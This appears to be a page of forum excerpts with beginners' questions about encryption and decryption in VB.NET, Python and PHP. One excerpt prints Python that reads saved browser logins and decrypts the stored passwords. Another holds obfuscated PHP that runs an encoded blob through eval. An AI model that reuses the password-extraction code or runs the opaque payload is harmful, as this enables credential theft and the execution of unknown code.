I create a project encrypt and decrypt data in vb.net how to use this code as a function please help it is work only on a textbox i want to send a string value then return encrypt value and when i send encrypt value then send me decrypt value. [Click Here](https://www.daniweb.com/programming/software-development/threads/375789/encrypt-decrypt-vb-net) **What I have tried:** `Private arLetterChars() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890 "` `Private arEncryptedChars() As Char = "******************************************************"` **' encrypt.** Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, Button4.Click With TextBox1 For Each myTextBoxChar As Char In .Text '// loop thru TextBox, one char. at a …

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i am new in this encryption and decryption i would like to have my encryption appear on my database (currently using microsoft sql server) i create 3 forms : one for the registration which means when u will register, u will be able to access the 3 forms by entering the username and password register i dont know what is happening the encryption can someone help resolve it basically my system will have to be connected to the database and then it is where the encryption will be in the login tables which is composed of username and password \***** …

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Hi everyone, I'm new to programming (and daniweb) and I'm having a small problem with a Caeser Cipher program I'm writing. messageE = input('\nPlease enter string to encrypt: ') offsetE = int(input('Please enter offset value (1 to 94): ')) encryptedE = '' if offsetE < 1 or offsetE > 94: print('Incorrect input. Please enter a value between 1 and 94.') messageE = input('\nPlease enter string to encrypt: ') offsetE = int(input('Please enter offset value (1 to 94): ')) for char in messageE: encryptedE = encryptedE + chr(ord(char) + offsetE) print('Encrypted string:\n', encryptedE) Gives the output: Please enter string to encrypt: …

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Can anyone explain why this error happen ? I try to decrypt password from database file. cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] if password: print 'Site: ' + result[0] print 'Username: ' + result[1] print 'Password: ' + password ERROR at line 3. pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in specified state.)

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Using the PySide GUI toolkit will make selecting, copying and pasting encrypted and decrypted text somewhat easier. Not ideal yet, but it will be a good start for those of you who are not very familiar with GUI programming.

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I want to decrypt my code i don't know how it can be done for both codes code 1: <?php $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=30832;eval(gzuncompress(base64_decode('eNplj1ePgkAAhP8MCbsR44KIEMKDvbv29nKhLEVp7lKUX3+au9xdcpl5msx8yXAYIYRfQoabpCQGHMb4KxB4avFQL/0gJKBe5/C7+DZ0PZIxwP1MBRFJMtT/xTLSFKi/iN9Lw6vy2E6ilBLGgGUyosgfDrEThwCW0YwClxLT+YtQVAQFfj5hNG1sD/3zY3Z0w6ycSmKrytsdT2mqdw3hmx0HQ9nZjKz980LWu2h1MmtJrxiM/euiuzR4ge90e/3BcDSeTGfzxRKv1pvtbn84ns4X07Id4np+cL2FUZykd8qyvCgfzwqJUlNuKW1VqzV4CKFOCjMEv4eg/gnJvV8i')));return;?> 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